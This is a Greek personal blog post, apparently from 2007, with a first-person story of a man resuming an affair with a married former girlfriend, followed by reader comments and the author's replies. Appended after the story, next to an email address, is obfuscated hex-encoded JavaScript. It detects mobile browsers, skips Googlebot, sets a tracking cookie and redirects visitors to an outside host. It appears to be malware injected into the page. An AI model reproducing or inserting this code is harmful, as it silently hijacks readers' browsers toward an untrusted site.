            Μου έκανε μια αναπάντητη η Νάντια. Αχώνευτη γκόμενα πως την πάτησα μαζί σου ,σκέφτηκα. Πάλι αναπάντητη. Δεν με νοιάζει. Τώρα με καλεί και το αφήνω να χτυπάει ώρα. Πατάω γες. Τι θες; Δεν σου είπα να μη με ξαναπάρεις; Θέλω να βρεθούμε. Δεν θέλω εγώ. Θέλω να μιλήσουμε σου λέω. Να πούμε τι Νάντια; Να μιλήσουμε για μας. Οκ . Θα σ ακούσω και μετά κχχχχκκκ …κομμένο , οκ? Γιου νόου ?

             Βρεθήκαμε . Πολύ κλάμα . Πολλά δάκρυα. Περίμενα αυτή τη στιγμή χρόνια ,είπε. Προσπαθούσα να σε ξεχάσω για να μη υποφέρω ,συνεχίζει κλαίγοντας . Τώρα τι θες Νάντια ; Μίλα μου για τώρα . Τι θες; Είναι δύσκολο να ζήσω χωρίς το παιδί , είναι κομμάτι από τον εαυτό μου. Τον άντρα μου μπορώ να τον χωρίσω αλλά το παιδί … δεν μπορώ χωρίς το παιδί . Εδώ να δείτε δάκρυα. Κατακλυσμός. Μη είσαι τόσο ψυχρός , μη με κοιτάζεις μ αυτό το βλέμμα. Δεν μπορεί να άλλαξες τόσο. Εσύ είσαι , πάντα εσύ θα είσαι. Στο ξαναλέω θα χωρίσω για να ζούμε μαζί ,αλλά δεν μπορώ χωρίς το παιδί μου. Δεν γίνεται ούτε με υαλοκαθαριστήρες , ούτε με κλιματισμό να στεγνώσουμε εδώ μέσα. Πόσο μπορεί να κλάψει μια γυναίκα; Θέλω να τη σπρώξω να βγει από το αυτοκίνητο και να φύγω. Δεν μπορεί να έχω «αντίπαλο» ένα πλασματάκι τόσο δα. Που να σε πάω τώρα ; λέω ανόρεχτα. Δεν θα μου πεις τι θα γίνει με μας; Πρέπει να σκεφτώ ,της είπα  κουρασμένα.

          Σκέφτηκα. Αλλά δεν …αποφάσισα.  Με ξαναπήρε. Βρεθήκαμε . Το κάναμε. Βρισκόμαστε μια φορά τη βδομάδα , μπορεί και δύο. Μιλάμε ,κάνουμε σεξ , μου λέει για το παιδί , για τη ζωή της , ακούω ακόμα και τα πανεπιστημιακά γκομενικά της και τις εμπειρίες της . Σκεφτόμαστε ξέρετε να … νοικιάσουμε ένα χώρο για μας.  Είμαι με τη Νάντια ξανά και είμαι κάπως αλλιώς. Όταν λέω αλλιώς εννοώ «αλλιώς» και από τις προηγούμενες μέρες.

         Γνωρίζω κορίτσια . Προχθές πήδηξα τη γραμματέα του οδοντίατρου της μητέρας μου. Τη συνόδευσα ως εκεί γιατί αγχώνεται ακόμα και όταν κάνει τσεκαπ. Βρήκα την ευκαιρία να μιλήσω μαζί της ,όταν ο γιατρός εξέταζε τη μάμι.

        Δεν ξέρω τι άλλο να σας πω. Νομίζω πως αφομοιώνω αυτή την περίεργη αίσθηση που έχω με τη Νάντια.

        Αυτά ! Είμαι κάπως …αμήχανος . Θέλει να ρωτήσει κανείς κάτι;

        Μόνο μη ρωτήσετε  για τη μητέρα της. Οκ? Όταν υπογράφονται συνθήκες ειρήνης , οι πρωταγωνιστές παρά την επισημότητα και την τελετουργία , συνήθως στο τέλος σκέφτονται το ίδιο πράγμα : «Ουφ πάει κι αυτό».    akaras1979@yahoo.grvar _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

34 Σχόλια »

  1. Πολύ καλό το κείμενο! Όσο για τον «φίλο» μας πες του πως ήταν τυχερός που το έζησε! Όσο για τη συνέχεια, ξαναζεσταμένη φασολάδα μου φαίνεται… τρώγεται; δεν τρώγεται!

    Σχόλιο από LikeToBite — Οκτώβριος 31, 2007 @ 1 :14 μμ | Απάντηση

  2. xaxaxaxa αν ειναι και ενα μερος του αληθεια, δεν μπορω νασχολιασω.α ρκει ναμην ειναι το τελος του αλήθεια! 🙂

    Σχόλιο από lifewhispers — Οκτώβριος 31, 2007 @ 2 :56 μμ | Απάντηση

  3. milame gia polu pidima…!!

    Σχόλιο από topapei — Οκτώβριος 31, 2007 @ 4 :48 μμ | Απάντηση

  4. ρε πουλάκι μου, πως αντέχεις να γράφεις τόσες φορές απανωτά τη λέξη «πήδημα»;;; και γενικά πως αντέχεις να γράφεις τόσο;;; νισάφι πια!!! για ένα κείμενο να θες έναν καφέ και μισό πακέτο τσιγάρα!!!
    λοιπόν… δεν ξέρω κατά πόσο πλησιάζει το όλο στόρυ στην πραγματικότητα, αλλά για ένα πράγμα είμαι σίγουρη και απόλυτα πεπεισμένη κι αν είμαι λάθος πες μου:
    ΣΙΓΑ ΜΗΝ ΕΧΕΙΣ ΚΑΒΑΛΗΣΕΙ ΠΟΤΕ ΣΟΥ ΕΝΤΟΥΡΟ ΣΚΑΤΟΦΛΩΡΕ!!!

    (μουαχαχαχααααααααααααααααα – είμαι κακιά και το απολαμβάνω!)

    (αλλά σου έχω αδυναμία μαλακιστήρι και το ξέρεις)

    Σχόλιο από Natalia — Οκτώβριος 31, 2007 @ 5 :17 μμ | Απάντηση

  5. emena pantws h istoria de mou arese…..
    😦
    gia proswpikous logous…

    Σχόλιο από blue — Οκτώβριος 31, 2007 @ 6 :42 μμ | Απάντηση

  6. Impressions so far? Speachless !!!

    Σχόλιο από So_Far — Οκτώβριος 31, 2007 @ 9 :53 μμ | Απάντηση

  7. Φυσιολογικά είναι όλα αυτά. Ζωή τα λένε και ..απαίτηση. Ε, αν θες να θες..τι; παζάρια θα κάνουμε;

    Σχόλιο από diVa — Νοέμβριος 1, 2007 @ 9 :47 πμ | Απάντηση

  8. like to bite
    δεν είναι ακριβώς ξανζστμενο , είναι μια αίσθηση να είναι όλα γύρω σου ιμιτασιόν

    Σχόλιο από thelastrealanwnymous — Νοέμβριος 1, 2007 @ 2 :26 μμ | Απάντηση

  9. λάιφ γουίσπερς
    αν και είμαι «μόνο» 28
    έχω υποφέρει πού με τα αισθηματικά μου
    🙂

    Σχόλιο από thelastrealanwnymous — Νοέμβριος 1, 2007 @ 2 :28 μμ | Απάντηση

  10. παπει
    ….
    🙂

    Σχόλιο από thelastrealanwnymous — Νοέμβριος 1, 2007 @ 2 :29 μμ | Απάντηση

  11. να ταλια
    και εγώ σε γουστάρω μωρό μου…
    αλλά …ποτέ δεν ξέρεις
    μπορεί να είμαι ενα φρικιό που διαβαζει συχνά σομόν σελίδες και δεν γουστάρει να του τη βγαίνουν σε οικονομικά θέματα και να θεωρούνται από όλους το Νο 1 , τη στιγμή που όλοι ξέρουμε ότι τα προσωπικά είναι τα άλυτα προβλήματα.

    Σχόλιο από thelastrealanwnymous — Νοέμβριος 1, 2007 @ 2 :33 μμ | Απάντηση

  12. μπλου
    τι εννοείς?

    Σχόλιο από thelastrealanwnymous — Νοέμβριος 1, 2007 @ 2 :34 μμ | Απάντηση

  13. σο φαρ
    🙂

    Σχόλιο από thelastrealanwnymous — Νοέμβριος 1, 2007 @ 2 :34 μμ | Απάντηση

  14. ντίβα
    φυσιολογικά;
    και γω που φοβόμουν ότι μόνο σε μένα συμβαίνουν
    🙂

    Σχόλιο από thelastrealanwnymous — Νοέμβριος 1, 2007 @ 2 :36 μμ | Απάντηση

  15. γενικό
    περα απο το στόρυ
    προσπάθησα να «παίξω» με το θέμα του χρόνου , τον ευθύ και πλάγιο λόγο ,
    το πως βλέπουμε σήμερα κάτι που γινόταν στο παρελθόν ,
    πως μπορούμε να μεταφέρουμε στο χαρτί σκέψεις ξεφεύγοντας από τα κλισέ της αφήγησης…
    σαν να σας έδωσα ενα μπλου τουθ και τα ακούγατε κατευθείαν από τη σκέψη μου
    🙂

    Σχόλιο από thelastrealanwnymous — Νοέμβριος 1, 2007 @ 2 :39 μμ | Απάντηση

  16. Tι ρομαντικό κείμενο!

    Σχόλιο από Maggie — Νοέμβριος 2, 2007 @ 5 :49 μμ | Απάντηση

  17. Λοιπόν, άφησα να κάτσουν λίγο οι πρώτες εντυπώσεις για να σου σχολιάσω. Πέρα από τα προφανή όπως ο ρεαλιστικός λόγος και η πιστότητα της αντρικής σκέψης, θα σταθώ λίγο στις εικόνες που παρουσιάζουν τους πρωταγωνιστές ‘δεσμώτες’ γιατί κάπως έτσι αντιλήφθηκα και την εξιστόρηση στο νοσοκομείο αλλά και το πολύ μετά με τη Νάντια παντρεμένη και μητέρα.

    Πιστεύω ότι το ολοκληρωτικό πάθος είναι προνόμιο των μικρών ηλικιών. Όχι μόνο στον έρωτα, αλλά παντού.
    Έχει τη δύναμη να καθορίζει τα πράγματα μέχρι το τέλος της ζωής μας. Και δεν έχω καταλήξει { ούτε νομίζω ότι θα το πετύχω ποτέ γι’ αυτό και δεν το επιδιώκω } στο τί ακριβώς είναι αυτό που «ντύνει» τα νεανικά μας πάθη με τόσο ισχυρό περίβλημα, bulletproof indeed.

    Αν ήθελα να σταθώ ρεαλιστικά στην ιστορία αυτή καθαυτή θα έλεγα ότι είναι η ‘μικρή Οδύσσεια» δύο ερωτευμένων που ο ένας από τους δύο ΄προχώρησε’ υποτίθεται παρακάτω. Προσωπικά πιστεύω ότι όταν τελειώνει μια σχέση το ‘παρακάτω’ πρακτικά σημαίνει μόνος. Το παρελθόν στοιχειώνει τους πάντες με τον τρόπο του. Αλλά αυτό είναι άσχετο με την ιστορία.

    Εδώ θέλεις να δείξεις μέσα από σαφή και ασαφή πλάγια και ίσια περάσματα στο χρόνο , ότι το πράγμα παλεύεται μέσα από συμβάσεις που τσαντίζουν και εκνευρίζουν αλλά ο ήρωας υποκύπτει σε αυτές, αναζητώντας το … «τότε» πάθος που μάλλον δεν είναι το ίδιο ακόμα και με τη Νάντια.

    Φιλότιμη προσπάθεια δικαίωσης του τότε. Αλλά ξέρεις το ‘τότε’ δεν δικαιώνεται ποτέ όταν ο ένας από τους δύο επιλέγει την ασφάλειά του.
    Στην υπόθεση εργασίας που κάνεις γράφοντας ότι θα ήθελες να ξανασυναντηθείτε κάποια χρόνια πριν, θα σου απαντήσω με κάτι που σου είχα γράψει και το καλοκαίρι: το χειρότερο σημείο μιας σχέσης είναι το «τί κάνουμε τώρα; πώς τη συνεχίζουμε»
    Και είναι το χειρότερο και δυσκολότερο γιατί εκεί γίνονται τα μεγαλύτερα λάθη, αφού δεν έχουμε οι περισσότεροι την τόλμη να δούμε κατάματα το ότι ο κύκλος της έχει κλείσει. Το γιατί; Δεν απαντιέται με τη μία, δεν απαντιέται ποτέ.

    Η ιστορία σου μου άρεσε πάρα πολύ, το ξέρεις τα ,έχουμε ξαναπεί. Όσο για την «πίπα του ΟΗΕ-μαμάς» το εκλαμβάνω ως ένδειξη ότι η μαμά-ΟΗΕ έδειξε στη μικρή και άμαθη UNICEF πώς παίζονται τα παιχνίδια σε αυτή τη ζωή..

    Ξανδιαβάζοντας όσα έγραψα νομίζω ότι είμαι κάτι έτη φωτός εκτός θέματος αλλά προτιμώ να πατήσω Submit αντί για Escape, τώρα το γιατί άστο καλύτερα

    Σχόλιο από So_Far — Νοέμβριος 4, 2007 @ 8 :33 πμ | Απάντηση

  18. maggie
    παρασύρομαι μερικές φορές και γίνομαι ρομαντικός …
    ή μήπως εννοείς ρομαντικό με την λογοτεχνική ορολογία;
    🙂

    Σχόλιο από thelastrealanwnymous — Νοέμβριος 6, 2007 @ 12 :19 μμ | Απάντηση

  19. σο φαρ
    «μικρές ηλικίες»
    νομίζω πως δεν θα ξεχάσω ποτέ τους τότε έρωτες …
    μου άρεσε η μεταφορά ΟΗΕ και γιούνισεφ.
    το βρήκα πολύ πειστικό για να περιγραψει την
    ψυχολογία του κειμένου .
    αν δεν ήταν στη μέση η ανωνυμία μου θα σου πρότεινα να γράψουμε κατι μαζί .
    🙂

    Σχόλιο από thelastrealanwnymous — Νοέμβριος 6, 2007 @ 12 :25 μμ | Απάντηση

  20. Λοιπόν, μόλις τώρα το σκέφτηκα. ΄Μπορούμε να γράψουμε κάτι μαζί, χωρίς να γνωριστούμε, μέσω mails. Είναι και πρωτοποριακό και διαφυλάσσουμε τις ταυτότητές μας και εσύ και εγώ . Και εγώ θέλω να διατηρήσω την ανωνυμία μου, επίσης.
    Τί λες;

    Σχόλιο από So_Far — Νοέμβριος 6, 2007 @ 3 :24 μμ | Απάντηση

  21. Tώρα είδα ότι δεν σο απάντησα σε κάτι σχετικά με τις μικρές ηλικίες και τους έρωτές τους.
    Το γεγονός ότι δεν ξεπερνιούνται εύκολα οφείλεται μάλλον στο ότι τα αισθήματα δημιουργούνται και αναπτύσσονται σε «παρθένο» περιβάλλον και ‘διανθίζονται’ όχι τόσο με την αθωότητα της ηλικίας αλλά με την αφέλεια αντιμετώπισης της ζωής..ξέρεις εκεί όπου τα πράγματα θεωρούνται εξιδανικευμένα κλπ κλπ

    Προσωπική μου άποψη – σημειώνω εδώ ότι δεν θα ήθελα να ξανασυναντήσω στη ζωή μου κανένα νεανικό μου έρωτα – είναι ότι από τη στιγμή που ο νεανικός έρωτας εξελιχθεί σε πιο σοβαρή κατάσταση και ολοκληρωθεί , είναι σίγουρο ότι όλο το περίβλημα εξαφανίζεται.
    Δηλαδή αν με τη Νάντια της ιστορίας δεν είχες το ατύχημα και την αντίδραση των γονιών της – που σας έκανε να νιώθετε και λίγο επαναστάτες απέναντι στο κατεστημένο – και πήγαιναν όλα ομαλά με μαθηματική βεβαιότητα θα άκουγες τώρα Νάντια και θα άλλαζες πεζοδρόμιο..
    Γι’ αυτό σου έγραψα και τη μεταφορά με ΟΗΕ & UNICEF , και πιθανώς γι’ αυτό την έβαλες και εσύ στο κείμενο με τόσο μυστηριώδη τρόπο [ είναι η πιο ωραία ανατροπή που έχω διαβάσει τον τελευταίο καιρό ]..
    Σε ‘αόριστο’ μελλοντικό χρόνο η αίσθηση που θα είχες θα ήταν ανακουφιστική και σίγουρα θα έλεγες ‘Ουφ, πάει τελείωσε κι αυτό ‘

    Σχόλιο από So_Far — Νοέμβριος 7, 2007 @ 7 :46 πμ | Απάντηση

  22. so far
    ανακαλύπτεις πράγματα που φαίνεται να τα σκεφτηκα υποσυνείδητα.
    το ότι θα είχαμε βαρεθεί αν δεν υπήρχαν προβλήματα το σκεφτεται ο ήρωας :»αν δεν είχαμε χαθεί θα είχαμε βαρεθεί;»
    στείλε μου καποια στιγμή ένα μέιλ.
    🙂

    Σχόλιο από thelastrealanwnymous — Νοέμβριος 7, 2007 @ 1 :24 μμ | Απάντηση

  23. Συμφωνω με τη so_far… ότι έγινε έγινε… δεν θα επέστρεφα ποτέ…προσπαθεις να συνεχίσεις μια ιστορία μετά από 10… μόνο που τώρα οι συνθήκες έιναι διαφορετικές… Βλακείες λέω… δεν ξέρω… άλλος είναι ο ειδικός εδω μέσα 😉 .
    Πάντως το κείμενο μου άρεσε πααααρα πολύ!!!

    Σχόλιο από laxanaki — Νοέμβριος 8, 2007 @ 11 :01 πμ | Απάντηση

  24. laxanaki
    θενκσ.
    αποδέχομαι τον τίτλο του ειδικού γιατί εχω περάσει πολλά .
    «δεν θα επεστρεφα ποτέ» …λοιπόν μία τέτοια φάση σε ωριμαζει , σε προσγειώνει και σε κάνει να σκεφτεσαι και να αναθεωρείς , ειδικά ένας τύπος σαν εμένα που νομίζει ότι «τα ξερει όλα»
    🙂

    Σχόλιο από thelastrealanwnymous — Νοέμβριος 8, 2007 @ 1 :24 μμ | Απάντηση

  25. ΑΞΙΟΣ κλίκα! Άξιος!!!!!!
    (νιώθω μια τεράααααστια συγκίνηση)

    Σχόλιο από Sardonian — Νοέμβριος 11, 2007 @ 12 :23 μμ | Απάντηση

  26. Ο Σαρδό είχε γράψει , στο ποστ της 29 Ιαν. 2007, με τίτλο «τι του τη δίνει στο μπλόγκιν», σαν 1ο λόγο : τα πόστ που είναι πάνω απο 500 λέξεις…
    Εδω , γράφει ΑΞΙΟΣ με κεφαλαία και θαυμαστικά !
    φαίνεται πως η συγκίνηση ήταν τόσο μεγάλη που ξέχασε το μέγεθος του ποστ…
    πρόεδρε Σαρδό με έχεις μπερδέψει!..

    Κατά τάλλα, εγω απλά παρατηρώ οτι
    1.αν έκοβες λίγα πηδήματα θα διαβαζόταν καλύτερα
    2.»Δεν θα έχουμε ρούχα στη ταράτσα γιατί θα της πάρω στεγνωτήριο. Λέω.»…
    καλά δεν ξέρεις οτι το πιο ενεργοβόρο μηχάνημα στο σπίτι είναι το στεγνωτήριο ?…μη μου ξαναμιλήσεις για οικολογία…

    ΥΓ. Στην αρχή ζήλευα μετά βαρέθηκα.

    Σχόλιο από takis — Νοέμβριος 12, 2007 @ 2 :21 μμ | Απάντηση

  27. sardo
    αγαπητέ πρόεδρε
    περνάω συχνα απο το μπλογκ σου … η απουσία σου είναι αισθητή.
    στείλλε κανένα μέιλ να τα πούμε.
    η συγκίνησή σου με …συγκίνησε
    🙂

    Σχόλιο από thelastrealanwnymous — Νοέμβριος 12, 2007 @ 3 :28 μμ | Απάντηση

  28. τακη
    φίλε τακη
    δεν το είχα σκεφτεί για …το στεγνωτήριο .
    δεν ξέρω αν το παράκανα με κάποιες λέξεις γιατί σημασία έχει η …αποτύπωση της πραγματικότητας .
    🙂

    Σχόλιο από thelastrealanwnymous — Νοέμβριος 12, 2007 @ 3 :32 μμ | Απάντηση

  29. Στεγνωτήριο; Ανώνυμε προς Θεού μην πάρεις ποτέ στεγνωτήριο στη γυναίκα σου στη φάση που βιώνεις παρόμοια κατάσταση με αυτή της Νάντια..
    Υπάρχει μια αξεπέραστη σκηνή σε ταινία του Ιταλικού νεορεαλισμού σε μία ταράτσα όπου η Άννα Μανιάνι απλώνει και ο Μαρτσέλλο Μαστρογιάννι ‘ανεβάζει στροφές’.. ( ξέρω και λέξη που κάνει ρίμα, αλλά δεν τη γράφω δημόσια ) . Από τις πιο ερωτικές σκηνές του σινεμά..
    Ενώ με στεγνωτήριο δεν βγαίνει αυτή η ατμόσφαιρα..

    Σχόλιο από So_Far — Νοέμβριος 14, 2007 @ 6 :45 πμ | Απάντηση

  30. Γιατί άμα ανεβάσει στροφές… στο στεγνωτήριο θα κολλήσει… 😉

    Σχόλιο από laxanaki — Νοέμβριος 14, 2007 @ 10 :17 πμ | Απάντηση

  31. Κάποτε σκέφτηκα πως θα ήθελα να είμαι κυνική σαν ασένα και να απολαμβάνω το σεξ χωρίς συναίσθημα. Αργ’οτερα είδα πως κι εσύ είσαι αρκετά ρομαντικός και δένεσαι και πονάς όταν κάνεις έρωτα με την ΄μία΄. Τέλοσπάντων για μένα δεν ήταν ένας ήταν περοσσότεροι αλλά πάντα με ολοκλήρωση . Για σένα ήταν κάτι παραπάνω από μία.
    Κόψε τη λέξη πήδημα μη σου μείνει συνήθεια και φερθείς αυθόρμητα μπροστά σε γκρεμό. ..

    Σχόλιο από lisadel — Νοέμβριος 23, 2007 @ 10 :52 πμ | Απάντηση

  32. lisadel
    το ξέρεις οτι θέλω να σε γνωρίσω … στο έχω ξαναπεί .
    δεν είμαι κυνικός , ίσως την έχω πατήσει κάποτε .
    δεν πιστεύω να είσαι εσύ «ο γκρεμός» μου ;
    🙂 🙂 🙂

    Σχόλιο από thelastrealanwnymous — Νοέμβριος 30, 2007 @ 1 :07 μμ | Απάντηση

  33. ούτε κι εγώ το πιστεύω.
    ξέρεις χάθηκες από το blogroll μου εδώ και ένα μήνα.
    Σήμερα σε βρήκα μέσα από παλιότερα σχόλια γι΄αυτό θα στα πω μαζεμένα…

    Σχόλιο από lisadel — Ιανουαρίου 4, 2008 @ 2 :10 μμ | Απάντηση

  34. Πολλά μου θυμίζει αυτή η ιστορία. Χωρίς όμως τους γονείς και τα συναφή. Ούτε πηδιόμαστε, ούτε σεξ, ούτε έρωτα κάνουμε όμως… Το θέλω δεν λέω αλλά κολλάω κάπου μεταξύ ενοχών και ανασφαλιών. Κι είναι φορές που νιώθω ότι ο έρωτας χάθηκε για μένα, πέρασε σαν παιδική αρρώστια… Μακάρι να βρεις την άκρη και να φωτίσεις και μας τους αδαείς. Πως είναι όμως να τα γκρεμίζεις όλα για να χτίσεις από την αρχή πάνω σε θεμέλια που δεν είσαι σίγουρος ότι είναι αληθινά? Εξελίσσεται ο έρωτας μαζί με τον εαυτό μας ή παραμένει στη σκέψη μας σαν μια χαμένη πατρίδα που την νοσταλγούμε όπως όταν την αφήσαμε? 10, 20 ή έστω 5 χρόνια πριν? Πάντως ακούγεται ενδιαφέρον να ξανα-γνωρίζεις κάποιον έχοντας σαν βασικό δεδομένο την αγάπη σου για κάποιο κομμάτι του, έστω παρελθοντικό…

    Κι όσο για το σεξ… εγώ δεν ξέρω, νομίζω το ‘χω απομυθοποιήσει (ή με έχει βαρεθεί…)

    Σχόλιο από Floydian — Μαρτίου 5, 2008 @ 7 :34 πμ | Απάντηση


RSS feed for comments on this post. TrackBack URI

Σχολιάστε

Εισάγετε τα παρακάτω στοιχεία ή επιλέξτε ένα εικονίδιο για να συνδεθείτε:

Λογότυπο WordPress.com

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό WordPress.com. Αποσύνδεση / Αλλαγή )

Φωτογραφία Twitter

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Twitter. Αποσύνδεση / Αλλαγή )

Φωτογραφία Facebook

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Facebook. Αποσύνδεση / Αλλαγή )

Φωτογραφία Google+

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Google+. Αποσύνδεση / Αλλαγή )

Σύνδεση με %s

Δημιουργήστε ένα δωρεάν ιστότοπο ή ιστολόγιο στο WordPress.com.

Αρέσει σε %d bloggers: